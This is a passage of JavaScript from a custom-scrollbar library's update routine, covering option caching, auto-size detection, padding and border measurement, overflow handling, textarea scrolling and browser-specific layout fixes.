_scrollbarsAutoHideDelay = currentPreparedOptionsScrollbars.autoHideDelay;
//old className
_oldClassName = _classNameCache;
//resize
_resizeNone = resize === 'n';
_resizeBoth = resize === 'b';
_resizeHorizontal = resize === 'h';
_resizeVertical = resize === 'v';
//normalizeRTL
_normalizeRTLCache = _currentPreparedOptions.normalizeRTL;
//ignore overlay scrollbar hiding
ignoreOverlayScrollbarHiding = ignoreOverlayScrollbarHiding && (_nativeScrollbarIsOverlaid.x && _nativeScrollbarIsOverlaid.y);
//refresh options cache
_scrollbarsVisibilityCache = scrollbarsVisibility;
_scrollbarsAutoHideCache = scrollbarsAutoHide;
_scrollbarsClickScrollingCache = scrollbarsClickScrolling;
_scrollbarsDragScrollingCache = scrollbarsDragScrolling;
_classNameCache = className;
_resizeCache = resize;
_paddingAbsoluteCache = paddingAbsolute;
_clipAlwaysCache = clipAlways;
_sizeAutoCapableCache = sizeAutoCapable;
_ignoreOverlayScrollbarHidingCache = ignoreOverlayScrollbarHiding;
_autoUpdateCache = autoUpdate;
_overflowBehaviorCache = extendDeep({}, overflowBehavior);
_textareaDynWidthCache = textareaDynWidth;
_textareaDynHeightCache = textareaDynHeight;
_hasOverflowCache = _hasOverflowCache || { x: false, y: false };
//set correct class name to the host element
if (classNameChanged) {
removeClass(_hostElement, _oldClassName + _strSpace + _classNameThemeNone);
addClass(_hostElement, className !== undefined && className !== null && className.length > 0 ? className : _classNameThemeNone);
}
//set correct auto Update
if (autoUpdateChanged) {
if (autoUpdate === true || (autoUpdate === null && _autoUpdateRecommended)) {
disconnectMutationObservers();
autoUpdateLoop.add(_base);
}
else {
autoUpdateLoop.remove(_base);
connectMutationObservers();
}
}
//activate or deactivate size auto capability
if (sizeAutoCapableChanged) {
if (sizeAutoCapable) {
if (_contentGlueElement) {
_contentGlueElement.show();
}
else {
_contentGlueElement = FRAMEWORK(generateDiv(_classNameContentGlueElement));
_paddingElement.before(_contentGlueElement);
}
if (_sizeAutoObserverAdded) {
_sizeAutoObserverElement.show();
}
else {
_sizeAutoObserverElement = FRAMEWORK(generateDiv(_classNameSizeAutoObserverElement));
_sizeAutoObserverElementNative = _sizeAutoObserverElement[0];
_contentGlueElement.before(_sizeAutoObserverElement);
var oldSize = { w: -1, h: -1 };
setupResizeObserver(_sizeAutoObserverElement, function () {
var newSize = {
w: _sizeAutoObserverElementNative[LEXICON.oW],
h: _sizeAutoObserverElementNative[LEXICON.oH]
};
if (checkCache(newSize, oldSize)) {
if (_initialized && (_heightAutoCache && newSize.h > 0) || (_widthAutoCache && newSize.w > 0)) {
update();
}
else if (_initialized && (!_heightAutoCache && newSize.h === 0) || (!_widthAutoCache && newSize.w === 0)) {
update();
}
}
oldSize = newSize;
});
_sizeAutoObserverAdded = true;
//fix heightAuto detector bug if height is fixed but contentHeight is 0.
//the probability this bug will ever happen is very very low, thats why its ok if we use calc which isn't supported in IE8.
if (_cssCalc !== null)
_sizeAutoObserverElement.css(_strHeight, _cssCalc + '(100% + 1px)');
}
}
else {
if (_sizeAutoObserverAdded)
_sizeAutoObserverElement.hide();
if (_contentGlueElement)
_contentGlueElement.hide();
}
}
//if force, update all resizeObservers too
if (force) {
_sizeObserverElement.find('*').trigger(_strScroll);
if (_sizeAutoObserverAdded)
_sizeAutoObserverElement.find('*').trigger(_strScroll);
}
//display hidden:
displayIsHidden = displayIsHidden === undefined ? _hostElement.is(':hidden') : displayIsHidden;
//textarea AutoWrapping:
var textareaAutoWrapping = _isTextarea ? _targetElement.attr('wrap') !== 'off' : false;
var textareaAutoWrappingChanged = checkCacheAutoForce(textareaAutoWrapping, _textareaAutoWrappingCache);
//detect direction:
var cssDirection = _hostElement.css('direction');
var cssDirectionChanged = checkCacheAutoForce(cssDirection, _cssDirectionCache);
//detect box-sizing:
var boxSizing = _hostElement.css('box-sizing');
var boxSizingChanged = checkCacheAutoForce(boxSizing, _cssBoxSizingCache);
//detect padding:
var padding = getTopRightBottomLeftHost(_strPaddingMinus);
//width + height auto detecting var:
var sizeAutoObserverElementBCRect;
//exception occurs in IE8 sometimes (unknown exception)
try {
sizeAutoObserverElementBCRect = _sizeAutoObserverAdded ? _sizeAutoObserverElementNative[LEXICON.bCR]() : null;
} catch (ex) {
return;
}
_isRTL = cssDirection === 'rtl';
_isBorderBox = (boxSizing === 'border-box');
var isRTLLeft = _isRTL ? _strLeft : _strRight;
var isRTLRight = _isRTL ? _strRight : _strLeft;
//detect width auto:
var widthAutoResizeDetection = false;
var widthAutoObserverDetection = (_sizeAutoObserverAdded && (_hostElement.css(_strFloat) !== 'none' /*|| _isTextarea */)) ? (MATH.round(sizeAutoObserverElementBCRect.right - sizeAutoObserverElementBCRect.left) === 0) && (!paddingAbsolute ? (_hostElementNative[LEXICON.cW] - _paddingX) > 0 : true) : false;
if (sizeAutoCapable && !widthAutoObserverDetection) {
var tmpCurrHostWidth = _hostElementNative[LEXICON.oW];
var tmpCurrContentGlueWidth = _contentGlueElement.css(_strWidth);
_contentGlueElement.css(_strWidth, _strAuto);
var tmpNewHostWidth = _hostElementNative[LEXICON.oW];
_contentGlueElement.css(_strWidth, tmpCurrContentGlueWidth);
widthAutoResizeDetection = tmpCurrHostWidth !== tmpNewHostWidth;
if (!widthAutoResizeDetection) {
_contentGlueElement.css(_strWidth, tmpCurrHostWidth + 1);
tmpNewHostWidth = _hostElementNative[LEXICON.oW];
_contentGlueElement.css(_strWidth, tmpCurrContentGlueWidth);
widthAutoResizeDetection = tmpCurrHostWidth !== tmpNewHostWidth;
}
}
var widthAuto = (widthAutoObserverDetection || widthAutoResizeDetection) && sizeAutoCapable && !displayIsHidden;
var widthAutoChanged = checkCacheAutoForce(widthAuto, _widthAutoCache);
var wasWidthAuto = !widthAuto && _widthAutoCache;
//detect height auto:
var heightAuto = _sizeAutoObserverAdded && sizeAutoCapable && !displayIsHidden ? (MATH.round(sizeAutoObserverElementBCRect.bottom - sizeAutoObserverElementBCRect.top) === 0) /* && (!paddingAbsolute && (_msieVersion > 9 || !_msieVersion) ? true : true) */ : false;
var heightAutoChanged = checkCacheAutoForce(heightAuto, _heightAutoCache);
var wasHeightAuto = !heightAuto && _heightAutoCache;
//detect border:
//we need the border only if border box and auto size
var updateBorderX = (widthAuto && _isBorderBox) || !_isBorderBox;
var updateBorderY = (heightAuto && _isBorderBox) || !_isBorderBox;
var border = getTopRightBottomLeftHost(_strBorderMinus, '-' + _strWidth, !updateBorderX, !updateBorderY)
//detect margin:
var margin = getTopRightBottomLeftHost(_strMarginMinus);
//vars to apply correct css
var contentElementCSS = {};
var contentGlueElementCSS = {};
//funcs
var getHostSize = function () {
//has to be clientSize because offsetSize respect borders
return {
w: _hostElementNative[LEXICON.cW],
h: _hostElementNative[LEXICON.cH]
};
};
var getViewportSize = function () {
//viewport size is padding container because it never has padding, margin and a border
//determine zoom rounding error -> sometimes scrollWidth/Height is smaller than clientWidth/Height
//if this happens add the difference to the viewportSize to compensate the rounding error
return {
w: _paddingElementNative[LEXICON.oW] + MATH.max(0, _contentElementNative[LEXICON.cW] - _contentElementNative[LEXICON.sW]),
h: _paddingElementNative[LEXICON.oH] + MATH.max(0, _contentElementNative[LEXICON.cH] - _contentElementNative[LEXICON.sH])
};
};
//set info for padding
var paddingAbsoluteX = _paddingX = padding.l + padding.r;
var paddingAbsoluteY = _paddingY = padding.t + padding.b;
paddingAbsoluteX *= paddingAbsolute ? 1 : 0;
paddingAbsoluteY *= paddingAbsolute ? 1 : 0;
padding.c = checkCacheAutoForce(padding, _cssPaddingCache);
//set info for border
_borderX = border.l + border.r;
_borderY = border.t + border.b;
border.c = checkCacheAutoForce(border, _cssBorderCache);
//set info for margin
_marginX = margin.l + margin.r;
_marginY = margin.t + margin.b;
margin.c = checkCacheAutoForce(margin, _cssMarginCache);
//refresh cache
_textareaAutoWrappingCache = textareaAutoWrapping;
_cssDirectionCache = cssDirection;
_cssBoxSizingCache = boxSizing;
_widthAutoCache = widthAuto;
_heightAutoCache = heightAuto;
_cssPaddingCache = padding;
_cssBorderCache = border;
_cssMarginCache = margin;
//IEFix direction changed
if (cssDirectionChanged && _sizeAutoObserverAdded)
_sizeAutoObserverElement.css(_strFloat, isRTLRight);
//apply padding:
if (padding.c || cssDirectionChanged || paddingAbsoluteChanged || widthAutoChanged || heightAutoChanged || boxSizingChanged || sizeAutoCapableChanged) {
var paddingElementCSS = {};
var textareaCSS = {};
var paddingValues = [padding.t, padding.r, padding.b, padding.l];
setTopRightBottomLeft(contentGlueElementCSS, _strMarginMinus, [-padding.t, -padding.r, -padding.b, -padding.l]);
if (paddingAbsolute) {
setTopRightBottomLeft(paddingElementCSS, _strEmpty, paddingValues);
setTopRightBottomLeft(_isTextarea ? textareaCSS : contentElementCSS, _strPaddingMinus);
}
else {
setTopRightBottomLeft(paddingElementCSS, _strEmpty);
setTopRightBottomLeft(_isTextarea ? textareaCSS : contentElementCSS, _strPaddingMinus, paddingValues);
}
_paddingElement.css(paddingElementCSS);
_targetElement.css(textareaCSS);
}
//viewport size is padding container because it never has padding, margin and a border.
_viewportSize = getViewportSize();
//update Textarea
var textareaSize = _isTextarea ? textareaUpdate() : false;
var textareaSizeChanged = _isTextarea && checkCacheAutoForce(textareaSize, _textareaSizeCache);
var textareaDynOrigSize = _isTextarea && textareaSize ? {
w: textareaDynWidth ? textareaSize._dynamicWidth : textareaSize._originalWidth,
h: textareaDynHeight ? textareaSize._dynamicHeight : textareaSize._originalHeight
} : {};
_textareaSizeCache = textareaSize;
//fix height auto / width auto in cooperation with current padding & boxSizing behavior:
if (heightAuto && (heightAutoChanged || paddingAbsoluteChanged || boxSizingChanged || padding.c || border.c)) {
contentElementCSS[_strHeight] = _strAuto;
}
else if (heightAutoChanged || paddingAbsoluteChanged) {
contentElementCSS[_strHeight] = _strHundredPercent;
}
if (widthAuto && (widthAutoChanged || paddingAbsoluteChanged || boxSizingChanged || padding.c || border.c || cssDirectionChanged)) {
contentElementCSS[_strWidth] = _strAuto;
contentGlueElementCSS[_strMaxMinus + _strWidth] = _strHundredPercent; //IE Fix
}
else if (widthAutoChanged || paddingAbsoluteChanged) {
contentElementCSS[_strWidth] = _strHundredPercent;
contentElementCSS[_strFloat] = _strEmpty;
contentGlueElementCSS[_strMaxMinus + _strWidth] = _strEmpty; //IE Fix
}
if (widthAuto) {
//textareaDynOrigSize.w || _strAuto :: doesnt works because applied margin will shift width
contentGlueElementCSS[_strWidth] = _strAuto;
contentElementCSS[_strWidth] = VENDORS._cssPropertyValue(_strWidth, 'max-content intrinsic') || _strAuto;
contentElementCSS[_strFloat] = isRTLRight;
}
else {
contentGlueElementCSS[_strWidth] = _strEmpty;
}
if (heightAuto) {
//textareaDynOrigSize.h || _contentElementNative[LEXICON.cH] :: use for anti scroll jumping
contentGlueElementCSS[_strHeight] = textareaDynOrigSize.h || _contentElementNative[LEXICON.cH];
}
else {
contentGlueElementCSS[_strHeight] = _strEmpty;
}
if (sizeAutoCapable)
_contentGlueElement.css(contentGlueElementCSS);
_contentElement.css(contentElementCSS);
//CHECKPOINT HERE ~
contentElementCSS = {};
contentGlueElementCSS = {};
//if [content(host) client / scroll size, or target element direction, or content(host) max-sizes] changed, or force is true
if (hostSizeChanged || contentSizeChanged || textareaSizeChanged || cssDirectionChanged || boxSizingChanged || paddingAbsoluteChanged || widthAutoChanged || widthAuto || heightAutoChanged || heightAuto || ignoreOverlayScrollbarHidingChanged || overflowBehaviorChanged || clipAlwaysChanged || resizeChanged || scrollbarsVisibilityChanged || scrollbarsAutoHideChanged || scrollbarsDragScrollingChanged || scrollbarsClickScrollingChanged || textareaDynWidthChanged || textareaDynHeightChanged || textareaAutoWrappingChanged) {
var strOverflow = 'overflow';
var strOverflowX = strOverflow + '-x';
var strOverflowY = strOverflow + '-y';
var strHidden = 'hidden';
var strVisible = 'visible';
//Reset the viewport (very important for natively overlaid scrollbars and zoom change
//don't change the overflow prop as it is very expensive and affects performance !A LOT!
if (!_nativeScrollbarStyling) {
var viewportElementResetCSS = {};
var resetXTmp = _hasOverflowCache.y && _hideOverflowCache.ys && !ignoreOverlayScrollbarHiding ? (_nativeScrollbarIsOverlaid.y ? _viewportElement.css(isRTLLeft) : -_nativeScrollbarSize.y) : 0;
var resetBottomTmp = _hasOverflowCache.x && _hideOverflowCache.xs && !ignoreOverlayScrollbarHiding ? (_nativeScrollbarIsOverlaid.x ? _viewportElement.css(_strBottom) : -_nativeScrollbarSize.x) : 0;
setTopRightBottomLeft(viewportElementResetCSS, _strEmpty);
_viewportElement.css(viewportElementResetCSS);
}
//measure several sizes:
var contentMeasureElement = getContentMeasureElement();
//in Firefox content element has to have overflow hidden, else element margins aren't calculated properly, this element prevents this bug, but only if scrollbars aren't overlaid
var contentSize = {
//use clientSize because natively overlaidScrollbars add borders
w: textareaDynOrigSize.w || contentMeasureElement[LEXICON.cW],
h: textareaDynOrigSize.h || contentMeasureElement[LEXICON.cH]
};
var scrollSize = {
w: contentMeasureElement[LEXICON.sW],
h: contentMeasureElement[LEXICON.sH]
};
//apply the correct viewport style and measure viewport size
if (!_nativeScrollbarStyling) {
viewportElementResetCSS[_strBottom] = wasHeightAuto ? _strEmpty : resetBottomTmp;
viewportElementResetCSS[isRTLLeft] = wasWidthAuto ? _strEmpty : resetXTmp;
_viewportElement.css(viewportElementResetCSS);
}
_viewportSize = getViewportSize();
//measure and correct several sizes
var hostSize = getHostSize();
var hostAbsoluteRectSize = {
w: hostSize.w - _marginX - _borderX - (_isBorderBox ? 0 : _paddingX),
h: hostSize.h - _marginY - _borderY - (_isBorderBox ? 0 : _paddingY)
};
var contentGlueSize = {
//client/scrollSize + AbsolutePadding -> because padding is only applied to the paddingElement if its absolute, so you have to add it manually
//hostSize is clientSize -> so padding should be added manually, right? FALSE! Because content glue is inside hostElement, so we don't have to worry about padding
w: MATH.max((widthAuto ? contentSize.w : scrollSize.w) + paddingAbsoluteX, hostAbsoluteRectSize.w),
h: MATH.max((heightAuto ? contentSize.h : scrollSize.h) + paddingAbsoluteY, hostAbsoluteRectSize.h)
};
contentGlueSize.c = checkCacheAutoForce(contentGlueSize, _contentGlueSizeCache);
_contentGlueSizeCache = contentGlueSize;
//apply correct contentGlue size
if (sizeAutoCapable) {
//size contentGlue correctly to make sure the element has correct size if the sizing switches to auto
if (contentGlueSize.c || (heightAuto || widthAuto)) {
contentGlueElementCSS[_strWidth] = contentGlueSize.w;
contentGlueElementCSS[_strHeight] = contentGlueSize.h;
//textarea-sizes are already calculated correctly at this point
if (!_isTextarea) {
contentSize = {
//use clientSize because natively overlaidScrollbars add borders
w: contentMeasureElement[LEXICON.cW],
h: contentMeasureElement[LEXICON.cH]
};
}
}
var textareaCoverCSS = {};
var setContentGlueElementCSSfunction = function (horizontal) {
var scrollbarVars = getScrollbarVars(horizontal);
var wh = scrollbarVars._w_h;
var strWH = scrollbarVars._width_height;
var autoSize = horizontal ? widthAuto : heightAuto;
var borderSize = horizontal ? _borderX : _borderY;
var paddingSize = horizontal ? _paddingX : _paddingY;
var marginSize = horizontal ? _marginX : _marginY;
var viewportSize = _viewportSize[wh] - borderSize - marginSize - (_isBorderBox ? 0 : paddingSize);
//make contentGlue size -1 if element is not auto sized, to make sure that a resize event happens when the element shrinks
if (!autoSize || (!autoSize && border.c))
contentGlueElementCSS[strWH] = hostAbsoluteRectSize[wh] - 1;
//if size is auto and host is smaller than size as min size, make content glue size -1 to make sure size changes will be detected (this is only needed if padding is 0)
if (autoSize && (contentSize[wh] < viewportSize) && (horizontal && _isTextarea ? !textareaAutoWrapping : true)) {
if (_isTextarea)
textareaCoverCSS[strWH] = parseToZeroOrNumber(_textareaCoverElement.css(strWH)) - 1;
contentGlueElementCSS[strWH] -= 1;
}
//make sure content glue size is at least 1
if (contentSize[wh] > 0)
contentGlueElementCSS[strWH] = MATH.max(1, contentGlueElementCSS[strWH]);
};
setContentGlueElementCSSfunction(true);
setContentGlueElementCSSfunction(false);
if (_isTextarea)
_textareaCoverElement.css(textareaCoverCSS);
_contentGlueElement.css(contentGlueElementCSS);
}
if (widthAuto)
contentElementCSS[_strWidth] = _strHundredPercent;
if (widthAuto && !_isBorderBox && !_mutationObserversConnected)
contentElementCSS[_strFloat] = 'none';
//apply and reset content style
_contentElement.css(contentElementCSS);
contentElementCSS = {};
//measure again, but this time all correct sizes:
var contentScrollSize = {
w: contentMeasureElement[LEXICON.sW],
h: contentMeasureElement[LEXICON.sH],
};
contentScrollSize.c = contentSizeChanged = checkCacheAutoForce(contentScrollSize, _contentScrollSizeCache);
_contentScrollSizeCache = contentScrollSize;
//refresh viewport size after correct measuring
_viewportSize = getViewportSize();
hostSize = getHostSize();
hostSizeChanged = checkCacheAutoForce(hostSize, _hostSizeCache);
_hostSizeCache = hostSize;
var hideOverflowForceTextarea = _isTextarea && (_viewportSize.w === 0 || _viewportSize.h === 0);
var previousOverflowAmount = _overflowAmountCache;
var overflowBehaviorIsVS = {};
var overflowBehaviorIsVH = {};
var overflowBehaviorIsS = {};
var overflowAmount = {};
var hasOverflow = {};
var hideOverflow = {};
var canScroll = {};
var viewportRect = _paddingElementNative[LEXICON.bCR]();
var setOverflowVariables = function (horizontal) {
var scrollbarVars = getScrollbarVars(horizontal);
var scrollbarVarsInverted = getScrollbarVars(!horizontal);
var xyI = scrollbarVarsInverted._x_y;
var xy = scrollbarVars._x_y;
var wh = scrollbarVars._w_h;
var widthHeight = scrollbarVars._width_height;
var scrollMax = _strScroll + scrollbarVars._Left_Top + 'Max';
var fractionalOverflowAmount = viewportRect[widthHeight] ? MATH.abs(viewportRect[widthHeight] - _viewportSize[wh]) : 0;
var checkFractionalOverflowAmount = previousOverflowAmount && previousOverflowAmount[xy] > 0 && _viewportElementNative[scrollMax] === 0;
overflowBehaviorIsVS[xy] = overflowBehavior[xy] === 'v-s';
overflowBehaviorIsVH[xy] = overflowBehavior[xy] === 'v-h';
overflowBehaviorIsS[xy] = overflowBehavior[xy] === 's';
overflowAmount[xy] = MATH.max(0, MATH.round((contentScrollSize[wh] - _viewportSize[wh]) * 100) / 100);
overflowAmount[xy] *= (hideOverflowForceTextarea || (checkFractionalOverflowAmount && fractionalOverflowAmount > 0 && fractionalOverflowAmount < 1)) ? 0 : 1;
hasOverflow[xy] = overflowAmount[xy] > 0;
//hideOverflow:
//x || y : true === overflow is hidden by "overflow: scroll" OR "overflow: hidden"
//xs || ys : true === overflow is hidden by "overflow: scroll"
hideOverflow[xy] = overflowBehaviorIsVS[xy] || overflowBehaviorIsVH[xy] ? (hasOverflow[xyI] && !overflowBehaviorIsVS[xyI] && !overflowBehaviorIsVH[xyI]) : hasOverflow[xy];
hideOverflow[xy + 's'] = hideOverflow[xy] ? (overflowBehaviorIsS[xy] || overflowBehaviorIsVS[xy]) : false;
canScroll[xy] = hasOverflow[xy] && hideOverflow[xy + 's'];
};
setOverflowVariables(true);
setOverflowVariables(false);
overflowAmount.c = checkCacheAutoForce(overflowAmount, _overflowAmountCache);
_overflowAmountCache = overflowAmount;
hasOverflow.c = checkCacheAutoForce(hasOverflow, _hasOverflowCache);
_hasOverflowCache = hasOverflow;
hideOverflow.c = checkCacheAutoForce(hideOverflow, _hideOverflowCache);
_hideOverflowCache = hideOverflow;
//if native scrollbar is overlay at x OR y axis, prepare DOM
if (_nativeScrollbarIsOverlaid.x || _nativeScrollbarIsOverlaid.y) {
var borderDesign = 'px solid transparent';
var contentArrangeElementCSS = {};
var arrangeContent = {};
var arrangeChanged = force;
var setContentElementCSS;
if (hasOverflow.x || hasOverflow.y) {
arrangeContent.w = _nativeScrollbarIsOverlaid.y && hasOverflow.y ? contentScrollSize.w + _overlayScrollbarDummySize.y : _strEmpty;
arrangeContent.h = _nativeScrollbarIsOverlaid.x && hasOverflow.x ? contentScrollSize.h + _overlayScrollbarDummySize.x : _strEmpty;
arrangeChanged = checkCacheAutoForce(arrangeContent, _arrangeContentSizeCache);
_arrangeContentSizeCache = arrangeContent;
}
if (hasOverflow.c || hideOverflow.c || contentScrollSize.c || cssDirectionChanged || widthAutoChanged || heightAutoChanged || widthAuto || heightAuto || ignoreOverlayScrollbarHidingChanged) {
contentElementCSS[_strMarginMinus + isRTLRight] = contentElementCSS[_strBorderMinus + isRTLRight] = _strEmpty;
setContentElementCSS = function (horizontal) {
var scrollbarVars = getScrollbarVars(horizontal);
var scrollbarVarsInverted = getScrollbarVars(!horizontal);
var xy = scrollbarVars._x_y;
var strDirection = horizontal ? _strBottom : isRTLLeft;
var invertedAutoSize = horizontal ? heightAuto : widthAuto;
if (_nativeScrollbarIsOverlaid[xy] && hasOverflow[xy] && hideOverflow[xy + 's']) {
contentElementCSS[_strMarginMinus + strDirection] = invertedAutoSize ? (ignoreOverlayScrollbarHiding ? _strEmpty : _overlayScrollbarDummySize[xy]) : _strEmpty;
contentElementCSS[_strBorderMinus + strDirection] = ((horizontal ? !invertedAutoSize : true) && !ignoreOverlayScrollbarHiding) ? (_overlayScrollbarDummySize[xy] + borderDesign) : _strEmpty;
}
else {
arrangeContent[scrollbarVarsInverted._w_h] =
contentElementCSS[_strMarginMinus + strDirection] =
contentElementCSS[_strBorderMinus + strDirection] = _strEmpty;
arrangeChanged = true;
}
};
if (_nativeScrollbarStyling) {
addRemoveClass(_viewportElement, _classNameViewportNativeScrollbarsInvisible, !ignoreOverlayScrollbarHiding)
}
else {
setContentElementCSS(true);
setContentElementCSS(false);
}
}
if (ignoreOverlayScrollbarHiding) {
arrangeContent.w = arrangeContent.h = _strEmpty;
arrangeChanged = true;
}
if (arrangeChanged && !_nativeScrollbarStyling) {
contentArrangeElementCSS[_strWidth] = hideOverflow.y ? arrangeContent.w : _strEmpty;
contentArrangeElementCSS[_strHeight] = hideOverflow.x ? arrangeContent.h : _strEmpty;
if (!_contentArrangeElement) {
_contentArrangeElement = FRAMEWORK(generateDiv(_classNameContentArrangeElement));
_viewportElement.prepend(_contentArrangeElement);
}
_contentArrangeElement.css(contentArrangeElementCSS);
}
_contentElement.css(contentElementCSS);
}
var viewportElementCSS = {};
var paddingElementCSS = {};
var setViewportCSS;
if (hostSizeChanged || hasOverflow.c || hideOverflow.c || contentScrollSize.c || overflowBehaviorChanged || boxSizingChanged || ignoreOverlayScrollbarHidingChanged || cssDirectionChanged || clipAlwaysChanged || heightAutoChanged) {
viewportElementCSS[isRTLRight] = _strEmpty;
setViewportCSS = function (horizontal) {
var scrollbarVars = getScrollbarVars(horizontal);
var scrollbarVarsInverted = getScrollbarVars(!horizontal);
var xy = scrollbarVars._x_y;
var XY = scrollbarVars._X_Y;
var strDirection = horizontal ? _strBottom : isRTLLeft;
var reset = function () {
viewportElementCSS[strDirection] = _strEmpty;
_contentBorderSize[scrollbarVarsInverted._w_h] = 0;
};
if (hasOverflow[xy] && hideOverflow[xy + 's']) {
viewportElementCSS[strOverflow + XY] = _strScroll;
if (ignoreOverlayScrollbarHiding || _nativeScrollbarStyling) {
reset();
}
else {
viewportElementCSS[strDirection] = -(_nativeScrollbarIsOverlaid[xy] ? _overlayScrollbarDummySize[xy] : _nativeScrollbarSize[xy]);
_contentBorderSize[scrollbarVarsInverted._w_h] = _nativeScrollbarIsOverlaid[xy] ? _overlayScrollbarDummySize[scrollbarVarsInverted._x_y] : 0;
}
} else {
viewportElementCSS[strOverflow + XY] = _strEmpty;
reset();
}
};
setViewportCSS(true);
setViewportCSS(false);
// if the scroll container is too small and if there is any overflow with no overlay scrollbar (and scrollbar styling isn't possible),
// make viewport element greater in size (Firefox hide Scrollbars fix)
// because firefox starts hiding scrollbars on too small elements
// with this behavior the overflow calculation may be incorrect or the scrollbars would appear suddenly
// https://bugzilla.mozilla.org/show_bug.cgi?id=292284
if (!_nativeScrollbarStyling
&& (_viewportSize.h < _nativeScrollbarMinSize.x || _viewportSize.w < _nativeScrollbarMinSize.y)
&& ((hasOverflow.x && hideOverflow.x && !_nativeScrollbarIsOverlaid.x) || (hasOverflow.y && hideOverflow.y && !_nativeScrollbarIsOverlaid.y))) {
viewportElementCSS[_strPaddingMinus + _strTop] = _nativeScrollbarMinSize.x;
viewportElementCSS[_strMarginMinus + _strTop] = -_nativeScrollbarMinSize.x;
viewportElementCSS[_strPaddingMinus + isRTLRight] = _nativeScrollbarMinSize.y;
viewportElementCSS[_strMarginMinus + isRTLRight] = -_nativeScrollbarMinSize.y;
}
else {
viewportElementCSS[_strPaddingMinus + _strTop] =
viewportElementCSS[_strMarginMinus + _strTop] =
viewportElementCSS[_strPaddingMinus + isRTLRight] =
viewportElementCSS[_strMarginMinus + isRTLRight] = _strEmpty;
}
viewportElementCSS[_strPaddingMinus + isRTLLeft] =
viewportElementCSS[_strMarginMinus + isRTLLeft] = _strEmpty;
//if there is any overflow (x OR y axis) and this overflow shall be hidden, make overflow hidden, else overflow visible
if ((hasOverflow.x && hideOverflow.x) || (hasOverflow.y && hideOverflow.y) || hideOverflowForceTextarea) {
//only hide if is Textarea
if (_isTextarea && hideOverflowForceTextarea) {
paddingElementCSS[strOverflowX] =
paddingElementCSS[strOverflowY] = strHidden;
}
}
else {
if (!clipAlways || (overflowBehaviorIsVH.x || overflowBehaviorIsVS.x || overflowBehaviorIsVH.y || overflowBehaviorIsVS.y)) {
//only un-hide if Textarea
if (_isTextarea) {
paddingElementCSS[strOverflowX] =
paddingElementCSS[strOverflowY] = _strEmpty;
}
viewportElementCSS[strOverflowX] =
viewportElementCSS[strOverflowY] = strVisible;
}
}
_paddingElement.css(paddingElementCSS);
_viewportElement.css(viewportElementCSS);
viewportElementCSS = {};
//force soft redraw in webkit because without the scrollbars will may appear because DOM wont be redrawn under special conditions
if ((hasOverflow.c || boxSizingChanged || widthAutoChanged || heightAutoChanged) && !(_nativeScrollbarIsOverlaid.x && _nativeScrollbarIsOverlaid.y)) {
var elementStyle = _contentElementNative[LEXICON.s];
var dump;
elementStyle.webkitTransform = 'scale(1)';
elementStyle.display = 'run-in';
dump = _contentElementNative[LEXICON.oH];
elementStyle.display = _strEmpty; //|| dump; //use dump to prevent it from deletion if minify
elementStyle.webkitTransform = _strEmpty;
}
/*
//force hard redraw in webkit if native overlaid scrollbars shall appear
if (ignoreOverlayScrollbarHidingChanged && ignoreOverlayScrollbarHiding) {
_hostElement.hide();
var dump = _hostElementNative[LEXICON.oH];
_hostElement.show();
}
*/
}
//change to direction RTL and width auto Bugfix in Webkit
//without this fix, the DOM still thinks the scrollbar is LTR and thus the content is shifted to the left
contentElementCSS = {};
if (cssDirectionChanged || widthAutoChanged || heightAutoChanged) {
if (_isRTL && widthAuto) {
var floatTmp = _contentElement.css(_strFloat);
var posLeftWithoutFloat = MATH.round(_contentElement.css(_strFloat, _strEmpty).css(_strLeft, _strEmpty).position().left);
_contentElement.css(_strFloat, floatTmp);
var posLeftWithFloat = MATH.round(_contentElement.position().left);
if (posLeftWithoutFloat !== posLeftWithFloat)
contentElementCSS[_strLeft] = posLeftWithoutFloat;
}
else {
contentElementCSS[_strLeft] = _strEmpty;
}
}
_contentElement.css(contentElementCSS);
//handle scroll position
if (_isTextarea && contentSizeChanged) {
var textareaInfo = getTextareaInfo();
if (textareaInfo) {
var textareaRowsChanged = _textareaInfoCache === undefined ? true : textareaInfo._rows !== _textareaInfoCache._rows;
var cursorRow = textareaInfo._cursorRow;
var cursorCol = textareaInfo._cursorColumn;
var widestRow = textareaInfo._widestRow;
var lastRow = textareaInfo._rows;
var lastCol = textareaInfo._columns;
var cursorPos = textareaInfo._cursorPosition;
var cursorMax = textareaInfo._cursorMax;
var cursorIsLastPosition = (cursorPos >= cursorMax && _textareaHasFocus);
var textareaScrollAmount = {
x: (!textareaAutoWrapping && (cursorCol === lastCol && cursorRow === widestRow)) ? _overflowAmountCache.x : -1,
y: (textareaAutoWrapping ? cursorIsLastPosition || textareaRowsChanged && (previousOverflowAmount ? (currScroll.y === previousOverflowAmount.y) : false) : (cursorIsLastPosition || textareaRowsChanged) && cursorRow === lastRow) ? _overflowAmountCache.y : -1
};
currScroll.x = textareaScrollAmount.x > -1 ? (_isRTL && _normalizeRTLCache && _rtlScrollBehavior.i ? 0 : textareaScrollAmount.x) : currScroll.x; //if inverted, scroll to 0 -> normalized this means to max scroll offset.
currScroll.y = textareaScrollAmount.y > -1 ? textareaScrollAmount.y : currScroll.y;
}
_textareaInfoCache = textareaInfo;
}
if (_isRTL && _rtlScrollBehavior.i && _nativeScrollbarIsOverlaid.y && hasOverflow.x && _normalizeRTLCache)
currScroll.x += _contentBorderSize.w || 0;
if (widthAuto)
_hostElement[_strScrollLeft](0);
if (heightAuto)
_hostElement[_strScrollTop](0);
_viewportElement[_strScrollLeft](currScroll.x)[_strScrollTop](currScroll.y);
//scrollbars management:
var scrollbarsVisibilityVisible = scrollbarsVisibility === 'v';
var scrollbarsVisibilityHidden = scrollbarsVisibility === 'h';
var scrollbarsVisibilityAuto = scrollbarsVisibility === 'a';
var refreshScrollbarsVisibility = function (showX, showY) {
showY = showY === undefined ? showX : showY;
refreshScrollbarAppearance(true, showX, canScroll.x)
refreshScrollbarAppearance(false, showY, canScroll.y)
};
//manage class name which indicates scrollable overflow
addRemoveClass(_hostElement, _classNameHostOverflow, hideOverflow.x || hideOverflow.y);
addRemoveClass(_hostElement, _classNameHostOverflowX, hideOverflow.x);
addRemoveClass(_hostElement, _classNameHostOverflowY, hideOverflow.y);
//add or remove rtl class name for styling purposes except when its body, then the scrollbar stays
if (cssDirectionChanged && !_isBody) {
addRemoveClass(_hostElement, _classNameHostRTL, _isRTL);
}
//manage the resize feature (CSS3 resize "polyfill" for this plugin)
if (_isBody)
addClass(_hostElement, _classNameHostResizeDisabled);
if (resizeChanged) {
addRemoveClass(_hostElement, _classNameHostResizeDisabled, _resizeNone);
